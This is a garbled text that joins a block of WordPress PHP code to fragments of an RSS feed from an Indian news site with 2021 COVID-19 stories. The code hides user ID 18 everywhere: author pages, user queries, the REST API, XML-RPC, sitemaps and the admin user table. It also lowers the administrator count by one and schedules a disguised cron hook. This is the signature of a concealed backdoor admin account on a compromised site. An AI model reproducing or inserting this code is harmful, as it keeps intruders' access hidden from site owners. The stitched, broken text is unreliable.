add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
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    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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		<title>In Karnataka, there are already seven cases of the coronavirus variant AY.4.2</title>
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					<description><![CDATA[<p>The number of people infected with the Delta AY.4.2 variety of coronavirus, which is quickly spreading in certain international nations, has risen to seven in Karnataka, with three additional people afflicted in the city. &#160; Speaking to reporters in Bengaluru, State Health and Family Welfare Commissioner D. Randeep said: “There are seven cases [of AY.4.2] [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/in-karnataka-there-are-already-seven-cases-of-the-coronavirus-variant-ay-4-2">In Karnataka, there are already seven cases of the coronavirus variant AY.4.2</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>The number of people infected with the Delta AY.4.2 variety of coronavirus, which is quickly spreading in certain international nations, has risen to seven in Karnataka, with three additional people afflicted in the city.</p>
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<p>Speaking to reporters in Bengaluru, State Health and Family Welfare Commissioner D. Randeep said: “There are seven cases [of AY.4.2] in the State — three in Bengaluru and four in different parts of the State.” Maintaining that COVID-19 instances in the state are under control, Mr. Randeep stated that the government is making a negative RT-PCR test report, obtained 72 hours before arrival, essential for those traveling to the state from outside the country.</p>
<p>The post <a href="https://theedgemedia.in/in-karnataka-there-are-already-seven-cases-of-the-coronavirus-variant-ay-4-2">In Karnataka, there are already seven cases of the coronavirus variant AY.4.2</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>Delta Variant Cases Show 300 Times Higher Viral Load, Shows South Korea Study</title>
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		<pubDate>Tue, 24 Aug 2021 14:38:23 +0000</pubDate>
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					<description><![CDATA[<p>People infected with the more transmissible Delta variant have a viral load 300 times higher than those with the original version of the COVID-19 virus when symptoms are first observed, a South Korea study found. But the amount gradually decreased over time &#8211; to 30 times in four days and over 10 times in nine [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/delta-variant-cases-show-300-times-higher-viral-load-shows-south-korea-study">Delta Variant Cases Show 300 Times Higher Viral Load, Shows South Korea Study</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>People infected with the more transmissible Delta variant have a viral load 300 times higher than those with the original version of the COVID-19 virus when symptoms are first observed, a South Korea study found.</p>
<p>But the amount gradually decreased over time &#8211; to 30 times in four days and over 10 times in nine days &#8211; and it matched levels seen in other variants after 10 days, the Korea Disease Control and Prevention Agency (KDCA) said on Tuesday.</p>
<p>The higher load means the virus spreads far more easily from person to person, increasing infections and hospitalisations, a health ministry official Lee Sang-won told a news conference.</p>
<p>&#8220;But it doesn&#8217;t mean Delta is 300 times more infectious&#8230;we think its transmission rate is 1.6 times the Alpha variant, and about two times the original version of the virus,&#8221; Lee said.</p>
<p>The post <a href="https://theedgemedia.in/delta-variant-cases-show-300-times-higher-viral-load-shows-south-korea-study">Delta Variant Cases Show 300 Times Higher Viral Load, Shows South Korea Study</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>A 90-year-old woman dies after she was infected with two variants at the same time in Belgium.</title>
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		<pubDate>Mon, 12 Jul 2021 10:01:03 +0000</pubDate>
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					<description><![CDATA[<p>A 90-year-old woman who died after falling ill with Covid-19 was infected with both Alpha and Beta variants of the Coronavirus at the same time, researchers in Belgium said on Sunday, adding that the rare phenomenon may be underestimated.  The woman was not vaccinated and she lived alone and received at-home nursing care, was admitted [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/a-90-year-old-woman-dies-after-she-was-infected-with-two-variants-at-the-same-time-in-belgium">A 90-year-old woman dies after she was infected with two variants at the same time in Belgium.</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p><span style="font-weight: 400">A 90-year-old woman who died after falling ill with Covid-19 was infected with both Alpha and Beta variants of the Coronavirus at the same time, researchers in Belgium said on Sunday, adding that the rare phenomenon may be underestimated. </span></p>
<p><span style="font-weight: 400">The woman was not vaccinated and she lived alone and received at-home nursing care, was admitted to the OLV hospital in the Belgian city of Aslat after a spate of falls in March and tested positive for the Covid-19 the same day. </span></p>
<p><span style="font-weight: 400">While her oxygen levels were initially good, her condition deteriorated rapidly and she died five days later. </span></p>
<p><span style="font-weight: 400">Vankeerberghen, the molecular biologist from OLV hospital said it was difficult to say whether the co-infection played a role in the fast deterioration of the patient.  </span></p>
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<p>The post <a href="https://theedgemedia.in/a-90-year-old-woman-dies-after-she-was-infected-with-two-variants-at-the-same-time-in-belgium">A 90-year-old woman dies after she was infected with two variants at the same time in Belgium.</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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